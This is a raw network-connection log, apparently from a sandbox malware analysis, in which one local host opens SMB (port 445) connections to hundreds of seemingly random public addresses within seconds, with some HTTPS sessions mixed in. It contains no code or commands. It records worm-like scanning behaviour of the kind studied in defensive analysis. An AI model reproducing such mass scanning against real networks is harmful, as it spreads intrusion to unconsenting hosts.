Jul 21, 2022 04:34:26.066667080 CEST	50265	445	192.168.2.6	90.13.69.113
Jul 21, 2022 04:34:26.066723108 CEST	50264	445	192.168.2.6	64.188.55.7
Jul 21, 2022 04:34:26.066787958 CEST	50266	445	192.168.2.6	16.150.56.172
Jul 21, 2022 04:34:26.066802979 CEST	50267	445	192.168.2.6	155.200.192.71
Jul 21, 2022 04:34:26.084319115 CEST	50268	445	192.168.2.6	93.15.32.135
Jul 21, 2022 04:34:26.291542053 CEST	50269	443	192.168.2.6	20.199.120.151
Jul 21, 2022 04:34:26.291589022 CEST	443	50269	20.199.120.151	192.168.2.6
Jul 21, 2022 04:34:26.291683912 CEST	50269	443	192.168.2.6	20.199.120.151
Jul 21, 2022 04:34:26.292387009 CEST	50269	443	192.168.2.6	20.199.120.151
Jul 21, 2022 04:34:26.292411089 CEST	443	50269	20.199.120.151	192.168.2.6
Jul 21, 2022 04:34:26.319885015 CEST	50270	445	192.168.2.6	183.231.20.50
Jul 21, 2022 04:34:26.389583111 CEST	443	50269	20.199.120.151	192.168.2.6
Jul 21, 2022 04:34:26.389729977 CEST	50269	443	192.168.2.6	20.199.120.151
Jul 21, 2022 04:34:26.392678976 CEST	50269	443	192.168.2.6	20.199.120.151
Jul 21, 2022 04:34:26.392707109 CEST	443	50269	20.199.120.151	192.168.2.6
Jul 21, 2022 04:34:26.393106937 CEST	443	50269	20.199.120.151	192.168.2.6
Jul 21, 2022 04:34:26.397150993 CEST	50269	443	192.168.2.6	20.199.120.151
Jul 21, 2022 04:34:26.397207975 CEST	50269	443	192.168.2.6	20.199.120.151
Jul 21, 2022 04:34:26.397222042 CEST	443	50269	20.199.120.151	192.168.2.6
Jul 21, 2022 04:34:26.397500038 CEST	50269	443	192.168.2.6	20.199.120.151
Jul 21, 2022 04:34:26.426979065 CEST	443	50269	20.199.120.151	192.168.2.6
Jul 21, 2022 04:34:26.427088976 CEST	443	50269	20.199.120.151	192.168.2.6
Jul 21, 2022 04:34:26.427153111 CEST	50269	443	192.168.2.6	20.199.120.151
Jul 21, 2022 04:34:26.427350044 CEST	50269	443	192.168.2.6	20.199.120.151
Jul 21, 2022 04:34:26.427373886 CEST	443	50269	20.199.120.151	192.168.2.6
Jul 21, 2022 04:34:26.505589008 CEST	49707	443	192.168.2.6	23.201.249.71
Jul 21, 2022 04:34:26.526484966 CEST	443	49707	23.201.249.71	192.168.2.6
Jul 21, 2022 04:34:26.526495934 CEST	443	49707	23.201.249.71	192.168.2.6
Jul 21, 2022 04:34:26.526552916 CEST	49707	443	192.168.2.6	23.201.249.71
Jul 21, 2022 04:34:26.526582003 CEST	49707	443	192.168.2.6	23.201.249.71
Jul 21, 2022 04:34:26.568751097 CEST	50271	445	192.168.2.6	159.222.107.19
Jul 21, 2022 04:34:26.756249905 CEST	50272	445	192.168.2.6	105.137.157.92
Jul 21, 2022 04:34:26.999836922 CEST	50273	445	192.168.2.6	32.171.249.238
Jul 21, 2022 04:34:27.077949047 CEST	50275	445	192.168.2.6	26.35.178.160
Jul 21, 2022 04:34:27.077950001 CEST	50274	445	192.168.2.6	81.241.129.173
Jul 21, 2022 04:34:27.177969933 CEST	50276	445	192.168.2.6	211.146.102.193
Jul 21, 2022 04:34:27.178839922 CEST	50277	445	192.168.2.6	73.130.34.176
Jul 21, 2022 04:34:27.179651022 CEST	50278	445	192.168.2.6	161.240.25.186
Jul 21, 2022 04:34:27.180371046 CEST	50279	445	192.168.2.6	22.42.73.43
Jul 21, 2022 04:34:27.181967974 CEST	50280	445	192.168.2.6	37.179.10.93
Jul 21, 2022 04:34:27.183440924 CEST	50281	445	192.168.2.6	170.107.99.240
Jul 21, 2022 04:34:27.183451891 CEST	50282	445	192.168.2.6	22.165.0.228
Jul 21, 2022 04:34:27.183556080 CEST	50283	445	192.168.2.6	160.241.9.24
Jul 21, 2022 04:34:27.183571100 CEST	50284	445	192.168.2.6	161.145.130.96
Jul 21, 2022 04:34:27.183638096 CEST	50285	445	192.168.2.6	69.30.151.24
Jul 21, 2022 04:34:27.209125996 CEST	50286	445	192.168.2.6	176.24.116.252
Jul 21, 2022 04:34:27.428041935 CEST	50287	445	192.168.2.6	19.219.147.135
Jul 21, 2022 04:34:27.693420887 CEST	50288	445	192.168.2.6	86.248.227.106
Jul 21, 2022 04:34:27.891253948 CEST	50290	445	192.168.2.6	19.55.3.129
Jul 21, 2022 04:34:27.946125031 CEST	50291	443	192.168.2.6	20.199.120.182
Jul 21, 2022 04:34:27.946167946 CEST	443	50291	20.199.120.182	192.168.2.6
Jul 21, 2022 04:34:27.946269035 CEST	50291	443	192.168.2.6	20.199.120.182
Jul 21, 2022 04:34:27.946999073 CEST	50291	443	192.168.2.6	20.199.120.182
Jul 21, 2022 04:34:27.947012901 CEST	443	50291	20.199.120.182	192.168.2.6
Jul 21, 2022 04:34:28.034205914 CEST	443	50291	20.199.120.182	192.168.2.6
Jul 21, 2022 04:34:28.034354925 CEST	50291	443	192.168.2.6	20.199.120.182
Jul 21, 2022 04:34:28.039874077 CEST	50291	443	192.168.2.6	20.199.120.182
Jul 21, 2022 04:34:28.039889097 CEST	443	50291	20.199.120.182	192.168.2.6
Jul 21, 2022 04:34:28.040172100 CEST	443	50291	20.199.120.182	192.168.2.6
Jul 21, 2022 04:34:28.041425943 CEST	50291	443	192.168.2.6	20.199.120.182
Jul 21, 2022 04:34:28.041534901 CEST	50291	443	192.168.2.6	20.199.120.182
Jul 21, 2022 04:34:28.041547060 CEST	443	50291	20.199.120.182	192.168.2.6
Jul 21, 2022 04:34:28.041762114 CEST	50291	443	192.168.2.6	20.199.120.182
Jul 21, 2022 04:34:28.069036007 CEST	443	50291	20.199.120.182	192.168.2.6
Jul 21, 2022 04:34:28.069160938 CEST	443	50291	20.199.120.182	192.168.2.6
Jul 21, 2022 04:34:28.069242954 CEST	50291	443	192.168.2.6	20.199.120.182
Jul 21, 2022 04:34:28.069421053 CEST	50291	443	192.168.2.6	20.199.120.182
Jul 21, 2022 04:34:28.069441080 CEST	443	50291	20.199.120.182	192.168.2.6
Jul 21, 2022 04:34:28.115463972 CEST	50292	445	192.168.2.6	122.133.13.165
Jul 21, 2022 04:34:28.193680048 CEST	50293	445	192.168.2.6	135.6.183.183
Jul 21, 2022 04:34:28.194189072 CEST	50294	445	192.168.2.6	8.204.52.134
Jul 21, 2022 04:34:28.287415028 CEST	50295	445	192.168.2.6	217.105.234.127
Jul 21, 2022 04:34:28.287986040 CEST	50296	445	192.168.2.6	154.118.134.123
Jul 21, 2022 04:34:28.288520098 CEST	50297	445	192.168.2.6	101.176.218.241
Jul 21, 2022 04:34:28.289031982 CEST	50298	445	192.168.2.6	156.169.154.192
Jul 21, 2022 04:34:28.289551020 CEST	50299	445	192.168.2.6	24.253.183.105
Jul 21, 2022 04:34:28.290074110 CEST	50300	445	192.168.2.6	16.8.254.175
Jul 21, 2022 04:34:28.290586948 CEST	50301	445	192.168.2.6	195.47.147.239
Jul 21, 2022 04:34:28.291091919 CEST	50302	445	192.168.2.6	215.55.15.136
Jul 21, 2022 04:34:28.291661024 CEST	50303	445	192.168.2.6	58.119.150.116
Jul 21, 2022 04:34:28.292167902 CEST	50304	445	192.168.2.6	83.189.45.99
Jul 21, 2022 04:34:28.327735901 CEST	50305	445	192.168.2.6	197.107.108.10
Jul 21, 2022 04:34:28.552867889 CEST	50306	445	192.168.2.6	46.219.59.145
Jul 21, 2022 04:34:28.803287029 CEST	50307	445	192.168.2.6	84.171.98.135
Jul 21, 2022 04:34:29.000360966 CEST	50308	445	192.168.2.6	200.92.176.189
Jul 21, 2022 04:34:29.007707119 CEST	50309	445	192.168.2.6	138.239.82.180
Jul 21, 2022 04:34:29.240549088 CEST	50310	445	192.168.2.6	217.105.204.250
Jul 21, 2022 04:34:29.319875956 CEST	50311	445	192.168.2.6	180.26.125.141
Jul 21, 2022 04:34:29.320194960 CEST	50312	445	192.168.2.6	59.14.217.41
Jul 21, 2022 04:34:29.428903103 CEST	50313	445	192.168.2.6	46.86.219.91
Jul 21, 2022 04:34:29.429812908 CEST	50314	445	192.168.2.6	19.210.23.10
Jul 21, 2022 04:34:29.433566093 CEST	50315	445	192.168.2.6	137.30.30.33
Jul 21, 2022 04:34:29.433576107 CEST	50316	445	192.168.2.6	202.98.3.76
Jul 21, 2022 04:34:29.433664083 CEST	50317	445	192.168.2.6	214.73.13.24
Jul 21, 2022 04:34:29.433691025 CEST	50318	445	192.168.2.6	43.138.213.131
Jul 21, 2022 04:34:29.433806896 CEST	50320	445	192.168.2.6	79.246.90.35
Jul 21, 2022 04:34:29.433815002 CEST	50319	445	192.168.2.6	193.233.139.148
Jul 21, 2022 04:34:29.433904886 CEST	50321	445	192.168.2.6	123.209.78.108
Jul 21, 2022 04:34:29.433938026 CEST	50322	445	192.168.2.6	66.110.55.78
Jul 21, 2022 04:34:29.434004068 CEST	50323	445	192.168.2.6	33.60.94.7
Jul 21, 2022 04:34:29.678308010 CEST	50324	445	192.168.2.6	14.121.185.224
Jul 21, 2022 04:34:29.927901030 CEST	50325	445	192.168.2.6	87.73.31.121
Jul 21, 2022 04:34:29.984039068 CEST	50326	443	192.168.2.6	20.40.136.238
Jul 21, 2022 04:34:29.984086990 CEST	443	50326	20.40.136.238	192.168.2.6
Jul 21, 2022 04:34:29.984169006 CEST	50326	443	192.168.2.6	20.40.136.238
Jul 21, 2022 04:34:30.019829988 CEST	50326	443	192.168.2.6	20.40.136.238
Jul 21, 2022 04:34:30.019861937 CEST	443	50326	20.40.136.238	192.168.2.6
Jul 21, 2022 04:34:30.115463018 CEST	50327	445	192.168.2.6	195.85.110.75
Jul 21, 2022 04:34:30.122585058 CEST	443	50326	20.40.136.238	192.168.2.6
Jul 21, 2022 04:34:30.122711897 CEST	50326	443	192.168.2.6	20.40.136.238
Jul 21, 2022 04:34:30.123981953 CEST	50326	443	192.168.2.6	20.40.136.238
Jul 21, 2022 04:34:30.123999119 CEST	443	50326	20.40.136.238	192.168.2.6
Jul 21, 2022 04:34:30.131616116 CEST	50328	445	192.168.2.6	100.19.115.84
Jul 21, 2022 04:34:30.231240988 CEST	50326	443	192.168.2.6	20.40.136.238
Jul 21, 2022 04:34:30.231267929 CEST	443	50326	20.40.136.238	192.168.2.6
Jul 21, 2022 04:34:30.365956068 CEST	50329	445	192.168.2.6	12.54.6.140
Jul 21, 2022 04:34:30.441426992 CEST	443	50326	20.40.136.238	192.168.2.6
Jul 21, 2022 04:34:30.441463947 CEST	443	50326	20.40.136.238	192.168.2.6
Jul 21, 2022 04:34:30.441489935 CEST	443	50326	20.40.136.238	192.168.2.6
Jul 21, 2022 04:34:30.441553116 CEST	50326	443	192.168.2.6	20.40.136.238
Jul 21, 2022 04:34:30.441575050 CEST	443	50326	20.40.136.238	192.168.2.6
Jul 21, 2022 04:34:30.441593885 CEST	50326	443	192.168.2.6	20.40.136.238
Jul 21, 2022 04:34:30.441625118 CEST	50326	443	192.168.2.6	20.40.136.238
Jul 21, 2022 04:34:30.444489002 CEST	50330	445	192.168.2.6	19.217.250.48
Jul 21, 2022 04:34:30.444503069 CEST	50331	445	192.168.2.6	104.175.182.120
Jul 21, 2022 04:34:30.468830109 CEST	443	50326	20.40.136.238	192.168.2.6
Jul 21, 2022 04:34:30.468936920 CEST	443	50326	20.40.136.238	192.168.2.6
Jul 21, 2022 04:34:30.468939066 CEST	50326	443	192.168.2.6	20.40.136.238
Jul 21, 2022 04:34:30.469002008 CEST	50326	443	192.168.2.6	20.40.136.238
Jul 21, 2022 04:34:30.469115973 CEST	50326	443	192.168.2.6	20.40.136.238
Jul 21, 2022 04:34:30.469132900 CEST	443	50326	20.40.136.238	192.168.2.6
Jul 21, 2022 04:34:30.542237997 CEST	50332	443	192.168.2.6	20.40.136.238
Jul 21, 2022 04:34:30.542294979 CEST	443	50332	20.40.136.238	192.168.2.6
Jul 21, 2022 04:34:30.542378902 CEST	50332	443	192.168.2.6	20.40.136.238
Jul 21, 2022 04:34:30.542900085 CEST	50332	443	192.168.2.6	20.40.136.238
Jul 21, 2022 04:34:30.542916059 CEST	443	50332	20.40.136.238	192.168.2.6
Jul 21, 2022 04:34:30.556154013 CEST	50333	445	192.168.2.6	53.235.51.184
Jul 21, 2022 04:34:30.556209087 CEST	50334	445	192.168.2.6	148.201.33.152
Jul 21, 2022 04:34:30.556612968 CEST	50335	445	192.168.2.6	219.215.210.206
Jul 21, 2022 04:34:30.556685925 CEST	50336	445	192.168.2.6	24.137.229.253
Jul 21, 2022 04:34:30.556797981 CEST	50337	445	192.168.2.6	200.163.94.26
Jul 21, 2022 04:34:30.556862116 CEST	50338	445	192.168.2.6	188.195.253.14
Jul 21, 2022 04:34:30.556938887 CEST	50339	445	192.168.2.6	207.82.182.120
Jul 21, 2022 04:34:30.557003975 CEST	50340	445	192.168.2.6	214.235.86.19
Jul 21, 2022 04:34:30.557109118 CEST	50341	445	192.168.2.6	148.140.20.136
Jul 21, 2022 04:34:30.557171106 CEST	50342	445	192.168.2.6	161.0.108.107
Jul 21, 2022 04:34:30.557243109 CEST	50343	445	192.168.2.6	14.52.164.189
Jul 21, 2022 04:34:30.636490107 CEST	443	50332	20.40.136.238	192.168.2.6
Jul 21, 2022 04:34:30.638340950 CEST	50332	443	192.168.2.6	20.40.136.238
Jul 21, 2022 04:34:30.640986919 CEST	50332	443	192.168.2.6	20.40.136.238
Jul 21, 2022 04:34:30.641006947 CEST	443	50332	20.40.136.238	192.168.2.6
Jul 21, 2022 04:34:30.643022060 CEST	50332	443	192.168.2.6	20.40.136.238
Jul 21, 2022 04:34:30.643049002 CEST	443	50332	20.40.136.238	192.168.2.6
Jul 21, 2022 04:34:30.774929047 CEST	443	50332	20.40.136.238	192.168.2.6
Jul 21, 2022 04:34:30.774954081 CEST	443	50332	20.40.136.238	192.168.2.6
Jul 21, 2022 04:34:30.775013924 CEST	443	50332	20.40.136.238	192.168.2.6
Jul 21, 2022 04:34:30.775021076 CEST	50332	443	192.168.2.6	20.40.136.238
Jul 21, 2022 04:34:30.775049925 CEST	50332	443	192.168.2.6	20.40.136.238
Jul 21, 2022 04:34:30.775103092 CEST	50332	443	192.168.2.6	20.40.136.238
Jul 21, 2022 04:34:30.775592089 CEST	50332	443	192.168.2.6	20.40.136.238
Jul 21, 2022 04:34:30.775615931 CEST	443	50332	20.40.136.238	192.168.2.6
Jul 21, 2022 04:34:30.787916899 CEST	50344	445	192.168.2.6	207.138.168.88
Jul 21, 2022 04:34:31.025011063 CEST	50345	445	192.168.2.6	223.250.222.243
Jul 21, 2022 04:34:31.054348946 CEST	50346	445	192.168.2.6	152.58.41.171
Jul 21, 2022 04:34:31.241447926 CEST	50347	445	192.168.2.6	134.203.141.240
Jul 21, 2022 04:34:31.256974936 CEST	50348	445	192.168.2.6	76.227.251.189
Jul 21, 2022 04:34:31.490715027 CEST	50349	445	192.168.2.6	126.245.30.71
Jul 21, 2022 04:34:31.570148945 CEST	50350	445	192.168.2.6	159.157.182.210
Jul 21, 2022 04:34:31.570769072 CEST	50351	445	192.168.2.6	109.226.217.247
Jul 21, 2022 04:34:31.678389072 CEST	50352	445	192.168.2.6	213.2.209.176
Jul 21, 2022 04:34:31.678919077 CEST	50353	445	192.168.2.6	177.59.67.93
Jul 21, 2022 04:34:31.679416895 CEST	50354	445	192.168.2.6	115.153.124.33
Jul 21, 2022 04:34:31.679940939 CEST	50355	445	192.168.2.6	90.201.130.225
Jul 21, 2022 04:34:31.680501938 CEST	50356	445	192.168.2.6	168.153.211.129
Jul 21, 2022 04:34:31.680968046 CEST	50357	445	192.168.2.6	223.134.52.92
Jul 21, 2022 04:34:31.681931019 CEST	50358	445	192.168.2.6	79.67.47.214
Jul 21, 2022 04:34:31.683219910 CEST	50359	445	192.168.2.6	189.54.237.104
Jul 21, 2022 04:34:31.683299065 CEST	50360	445	192.168.2.6	108.161.106.82
Jul 21, 2022 04:34:31.683314085 CEST	50361	445	192.168.2.6	176.51.94.129
Jul 21, 2022 04:34:31.683413029 CEST	50362	445	192.168.2.6	132.82.49.225
Jul 21, 2022 04:34:31.912648916 CEST	50363	445	192.168.2.6	148.76.98.82
Jul 21, 2022 04:34:31.927891970 CEST	445	50357	223.134.52.92	192.168.2.6
Jul 21, 2022 04:34:32.015038967 CEST	445	50363	148.76.98.82	192.168.2.6
Jul 21, 2022 04:34:32.147195101 CEST	50364	445	192.168.2.6	142.213.170.79
Jul 21, 2022 04:34:32.162812948 CEST	50365	445	192.168.2.6	182.124.138.60
Jul 21, 2022 04:34:32.351455927 CEST	50366	445	192.168.2.6	175.34.197.181
Jul 21, 2022 04:34:32.383804083 CEST	50367	445	192.168.2.6	21.246.181.150
Jul 21, 2022 04:34:32.521358967 CEST	50363	445	192.168.2.6	148.76.98.82
Jul 21, 2022 04:34:32.537005901 CEST	50357	445	192.168.2.6	223.134.52.92
Jul 21, 2022 04:34:32.627213001 CEST	445	50363	148.76.98.82	192.168.2.6
Jul 21, 2022 04:34:32.784867048 CEST	50368	445	192.168.2.6	160.169.68.244
Jul 21, 2022 04:34:32.790019989 CEST	445	50357	223.134.52.92	192.168.2.6
Jul 21, 2022 04:34:32.903673887 CEST	50369	445	192.168.2.6	40.127.8.229
Jul 21, 2022 04:34:32.912808895 CEST	50370	445	192.168.2.6	63.140.106.156
Jul 21, 2022 04:34:32.913784027 CEST	50371	445	192.168.2.6	77.62.243.86
Jul 21, 2022 04:34:32.913866997 CEST	50372	445	192.168.2.6	186.195.15.237
Jul 21, 2022 04:34:32.913959026 CEST	50373	445	192.168.2.6	197.42.129.213
Jul 21, 2022 04:34:32.914060116 CEST	50374	445	192.168.2.6	77.174.16.244
Jul 21, 2022 04:34:32.914159060 CEST	50375	445	192.168.2.6	30.85.137.246
Jul 21, 2022 04:34:32.914246082 CEST	50376	445	192.168.2.6	206.160.171.138
Jul 21, 2022 04:34:32.914302111 CEST	50377	445	192.168.2.6	65.92.84.115
Jul 21, 2022 04:34:32.914371014 CEST	50378	445	192.168.2.6	69.106.11.6
Jul 21, 2022 04:34:32.914447069 CEST	50379	445	192.168.2.6	201.66.160.130
Jul 21, 2022 04:34:32.914509058 CEST	50380	445	192.168.2.6	65.251.81.192
Jul 21, 2022 04:34:32.914572001 CEST	50381	445	192.168.2.6	145.109.105.179
Jul 21, 2022 04:34:33.078880072 CEST	50382	445	192.168.2.6	76.57.88.45
Jul 21, 2022 04:34:33.086807966 CEST	50383	445	192.168.2.6	49.92.125.104
Jul 21, 2022 04:34:33.133604050 CEST	445	50372	186.195.15.237	192.168.2.6
Jul 21, 2022 04:34:33.289736032 CEST	50384	445	192.168.2.6	92.156.15.202
Jul 21, 2022 04:34:33.290433884 CEST	50385	445	192.168.2.6	169.17.89.143
Jul 21, 2022 04:34:33.535450935 CEST	50386	445	192.168.2.6	44.117.8.39
Jul 21, 2022 04:34:33.535938025 CEST	50387	445	192.168.2.6	91.206.215.1
Jul 21, 2022 04:34:33.558489084 CEST	445	50387	91.206.215.1	192.168.2.6
Jul 21, 2022 04:34:33.818299055 CEST	50372	445	192.168.2.6	186.195.15.237
Jul 21, 2022 04:34:34.036207914 CEST	445	50372	186.195.15.237	192.168.2.6
Jul 21, 2022 04:34:34.130852938 CEST	50387	445	192.168.2.6	91.206.215.1
Jul 21, 2022 04:34:34.156277895 CEST	445	50387	91.206.215.1	192.168.2.6
Jul 21, 2022 04:34:34.178224087 CEST	80	49721	93.184.220.29	192.168.2.6
Jul 21, 2022 04:34:34.178366899 CEST	49721	80	192.168.2.6	93.184.220.29
Jul 21, 2022 04:34:34.381669998 CEST	50388	445	192.168.2.6	13.31.129.167
Jul 21, 2022 04:34:34.382179022 CEST	50389	445	192.168.2.6	40.144.72.233
Jul 21, 2022 04:34:34.382699013 CEST	50390	445	192.168.2.6	1.173.47.236
Jul 21, 2022 04:34:34.383200884 CEST	50391	445	192.168.2.6	16.203.58.209
Jul 21, 2022 04:34:34.383680105 CEST	50392	445	192.168.2.6	6.130.143.5
Jul 21, 2022 04:34:34.384165049 CEST	50393	445	192.168.2.6	85.108.57.77
Jul 21, 2022 04:34:34.384658098 CEST	50394	445	192.168.2.6	31.108.174.173
Jul 21, 2022 04:34:34.385160923 CEST	50395	445	192.168.2.6	182.199.21.103
Jul 21, 2022 04:34:34.385654926 CEST	50396	445	192.168.2.6	150.69.180.189
Jul 21, 2022 04:34:34.386324883 CEST	50397	445	192.168.2.6	188.172.32.10
Jul 21, 2022 04:34:34.386830091 CEST	50398	445	192.168.2.6	97.78.210.25
Jul 21, 2022 04:34:34.387335062 CEST	50399	445	192.168.2.6	142.81.52.31
Jul 21, 2022 04:34:34.387821913 CEST	50400	445	192.168.2.6	54.185.168.70
Jul 21, 2022 04:34:34.388328075 CEST	50401	445	192.168.2.6	98.155.6.219
Jul 21, 2022 04:34:34.388828993 CEST	50402	445	192.168.2.6	35.156.94.154
Jul 21, 2022 04:34:34.389333010 CEST	50403	445	192.168.2.6	9.153.73.249
Jul 21, 2022 04:34:34.504718065 CEST	50404	445	192.168.2.6	64.93.185.196
Jul 21, 2022 04:34:34.505408049 CEST	50405	445	192.168.2.6	58.109.186.243
Jul 21, 2022 04:34:34.742621899 CEST	50406	445	192.168.2.6	53.134.249.185
Jul 21, 2022 04:34:34.742777109 CEST	50407	445	192.168.2.6	78.233.238.187
Jul 21, 2022 04:34:36.257989883 CEST	50408	445	192.168.2.6	128.79.19.236
Jul 21, 2022 04:34:36.375128984 CEST	50409	445	192.168.2.6	39.139.167.67
Jul 21, 2022 04:34:36.376002073 CEST	50410	445	192.168.2.6	223.96.196.134
Jul 21, 2022 04:34:36.376733065 CEST	50411	445	192.168.2.6	70.186.104.24
Jul 21, 2022 04:34:36.377656937 CEST	50412	445	192.168.2.6	109.161.99.143
Jul 21, 2022 04:34:36.378344059 CEST	50413	445	192.168.2.6	191.20.213.81
Jul 21, 2022 04:34:36.379122972 CEST	50414	445	192.168.2.6	56.63.162.87
Jul 21, 2022 04:34:36.379833937 CEST	50415	445	192.168.2.6	173.250.1.196
Jul 21, 2022 04:34:36.380533934 CEST	50416	445	192.168.2.6	57.243.153.69
Jul 21, 2022 04:34:36.505441904 CEST	50417	445	192.168.2.6	148.91.14.106
Jul 21, 2022 04:34:36.793229103 CEST	50418	445	192.168.2.6	87.196.186.115
Jul 21, 2022 04:34:36.795447111 CEST	50419	445	192.168.2.6	51.79.5.112
Jul 21, 2022 04:34:36.795523882 CEST	50420	445	192.168.2.6	84.17.71.225
Jul 21, 2022 04:34:36.795664072 CEST	50421	445	192.168.2.6	137.40.3.126
Jul 21, 2022 04:34:36.795758009 CEST	50422	445	192.168.2.6	143.160.243.103
Jul 21, 2022 04:34:36.795862913 CEST	50423	445	192.168.2.6	55.109.70.128
Jul 21, 2022 04:34:36.795998096 CEST	50424	445	192.168.2.6	105.93.108.236
Jul 21, 2022 04:34:36.796107054 CEST	50425	445	192.168.2.6	155.222.236.123
Jul 21, 2022 04:34:36.796205997 CEST	50426	445	192.168.2.6	6.4.195.208
Jul 21, 2022 04:34:36.796308041 CEST	50427	445	192.168.2.6	65.24.231.15
Jul 21, 2022 04:34:36.796399117 CEST	50428	445	192.168.2.6	120.239.201.247
Jul 21, 2022 04:34:36.899791956 CEST	445	50419	51.79.5.112	192.168.2.6
Jul 21, 2022 04:34:36.940507889 CEST	445	50413	191.20.213.81	192.168.2.6
Jul 21, 2022 04:34:37.120603085 CEST	50429	443	192.168.2.6	20.199.120.85
Jul 21, 2022 04:34:37.120651007 CEST	443	50429	20.199.120.85	192.168.2.6
Jul 21, 2022 04:34:37.120753050 CEST	50429	443	192.168.2.6	20.199.120.85
Jul 21, 2022 04:34:37.122234106 CEST	50429	443	192.168.2.6	20.199.120.85
Jul 21, 2022 04:34:37.122257948 CEST	443	50429	20.199.120.85	192.168.2.6
Jul 21, 2022 04:34:37.219532967 CEST	443	50429	20.199.120.85	192.168.2.6
Jul 21, 2022 04:34:37.219655991 CEST	50429	443	192.168.2.6	20.199.120.85
Jul 21, 2022 04:34:37.222645044 CEST	50429	443	192.168.2.6	20.199.120.85
Jul 21, 2022 04:34:37.222659111 CEST	443	50429	20.199.120.85	192.168.2.6
Jul 21, 2022 04:34:37.223021030 CEST	443	50429	20.199.120.85	192.168.2.6
Jul 21, 2022 04:34:37.224014997 CEST	50429	443	192.168.2.6	20.199.120.85
Jul 21, 2022 04:34:37.224071980 CEST	50429	443	192.168.2.6	20.199.120.85
Jul 21, 2022 04:34:37.224083900 CEST	443	50429	20.199.120.85	192.168.2.6
Jul 21, 2022 04:34:37.224189043 CEST	50429	443	192.168.2.6	20.199.120.85
Jul 21, 2022 04:34:37.253223896 CEST	443	50429	20.199.120.85	192.168.2.6
Jul 21, 2022 04:34:37.253686905 CEST	443	50429	20.199.120.85	192.168.2.6
Jul 21, 2022 04:34:37.253801107 CEST	50429	443	192.168.2.6	20.199.120.85
Jul 21, 2022 04:34:37.254882097 CEST	50429	443	192.168.2.6	20.199.120.85
Jul 21, 2022 04:34:37.254904985 CEST	443	50429	20.199.120.85	192.168.2.6
Jul 21, 2022 04:34:37.382118940 CEST	50430	445	192.168.2.6	193.87.188.147
Jul 21, 2022 04:34:37.428002119 CEST	50419	445	192.168.2.6	51.79.5.112
Jul 21, 2022 04:34:37.449347973 CEST	50431	443	192.168.2.6	20.199.120.85
Jul 21, 2022 04:34:37.449383974 CEST	443	50431	20.199.120.85	192.168.2.6
Jul 21, 2022 04:34:37.449479103 CEST	50431	443	192.168.2.6	20.199.120.85
Jul 21, 2022 04:34:37.450413942 CEST	50431	443	192.168.2.6	20.199.120.85
Jul 21, 2022 04:34:37.450426102 CEST	443	50431	20.199.120.85	192.168.2.6
Jul 21, 2022 04:34:37.479136944 CEST	50432	445	192.168.2.6	84.78.175.226
Jul 21, 2022 04:34:37.479742050 CEST	50433	445	192.168.2.6	24.172.54.247
Jul 21, 2022 04:34:37.480389118 CEST	50434	445	192.168.2.6	219.203.24.196
Jul 21, 2022 04:34:37.481019020 CEST	50435	445	192.168.2.6	194.178.52.245
Jul 21, 2022 04:34:37.481234074 CEST	50436	445	192.168.2.6	204.139.241.6
Jul 21, 2022 04:34:37.481749058 CEST	50437	445	192.168.2.6	97.45.232.171
Jul 21, 2022 04:34:37.482263088 CEST	50438	445	192.168.2.6	14.3.168.97
Jul 21, 2022 04:34:37.482777119 CEST	50439	445	192.168.2.6	51.177.200.20
Jul 21, 2022 04:34:37.532258034 CEST	445	50419	51.79.5.112	192.168.2.6
Jul 21, 2022 04:34:37.546960115 CEST	443	50431	20.199.120.85	192.168.2.6
Jul 21, 2022 04:34:37.547213078 CEST	50431	443	192.168.2.6	20.199.120.85
Jul 21, 2022 04:34:37.550477982 CEST	50431	443	192.168.2.6	20.199.120.85
Jul 21, 2022 04:34:37.550504923 CEST	443	50431	20.199.120.85	192.168.2.6
Jul 21, 2022 04:34:37.550904989 CEST	443	50431	20.199.120.85	192.168.2.6
Jul 21, 2022 04:34:37.556267977 CEST	50431	443	192.168.2.6	20.199.120.85
Jul 21, 2022 04:34:37.556307077 CEST	50431	443	192.168.2.6	20.199.120.85
Jul 21, 2022 04:34:37.556318998 CEST	443	50431	20.199.120.85	192.168.2.6
Jul 21, 2022 04:34:37.556446075 CEST	50431	443	192.168.2.6	20.199.120.85
Jul 21, 2022 04:34:37.585627079 CEST	443	50431	20.199.120.85	192.168.2.6
Jul 21, 2022 04:34:37.586220980 CEST	50431	443	192.168.2.6	20.199.120.85
Jul 21, 2022 04:34:37.586235046 CEST	443	50431	20.199.120.85	192.168.2.6
Jul 21, 2022 04:34:37.586257935 CEST	50431	443	192.168.2.6	20.199.120.85
Jul 21, 2022 04:34:37.586302042 CEST	50431	443	192.168.2.6	20.199.120.85
Jul 21, 2022 04:34:37.601195097 CEST	50440	445	192.168.2.6	170.186.93.72
Jul 21, 2022 04:34:37.913139105 CEST	50441	445	192.168.2.6	49.57.131.77
Jul 21, 2022 04:34:37.913618088 CEST	50442	445	192.168.2.6	95.9.242.203
Jul 21, 2022 04:34:37.914134979 CEST	50443	445	192.168.2.6	8.105.39.96
Jul 21, 2022 04:34:37.914596081 CEST	50444	445	192.168.2.6	117.54.190.187
Jul 21, 2022 04:34:37.915116072 CEST	50445	445	192.168.2.6	215.97.167.207
Jul 21, 2022 04:34:37.915625095 CEST	50446	445	192.168.2.6	188.212.46.226
Jul 21, 2022 04:34:37.916112900 CEST	50447	445	192.168.2.6	189.225.78.194
Jul 21, 2022 04:34:37.916644096 CEST	50448	445	192.168.2.6	104.10.180.115
Jul 21, 2022 04:34:37.917104006 CEST	50449	445	192.168.2.6	138.128.79.153
Jul 21, 2022 04:34:37.917618990 CEST	50450	445	192.168.2.6	187.65.183.182
Jul 21, 2022 04:34:37.918116093 CEST	50451	445	192.168.2.6	54.67.97.102
Jul 21, 2022 04:34:38.270366907 CEST	50452	445	192.168.2.6	15.96.227.129
Jul 21, 2022 04:34:38.495219946 CEST	50453	445	192.168.2.6	170.154.226.87
Jul 21, 2022 04:34:38.604245901 CEST	50454	445	192.168.2.6	12.13.211.189
Jul 21, 2022 04:34:38.604280949 CEST	50455	445	192.168.2.6	84.74.147.142
Jul 21, 2022 04:34:38.604557037 CEST	50456	445	192.168.2.6	121.237.118.250
Jul 21, 2022 04:34:38.604588985 CEST	50457	445	192.168.2.6	106.148.111.102
Jul 21, 2022 04:34:38.604726076 CEST	50458	445	192.168.2.6	171.166.159.239
Jul 21, 2022 04:34:38.604835987 CEST	50461	445	192.168.2.6	190.98.231.92
Jul 21, 2022 04:34:38.604865074 CEST	50460	445	192.168.2.6	125.209.75.110
Jul 21, 2022 04:34:38.726232052 CEST	50462	445	192.168.2.6	13.60.155.5
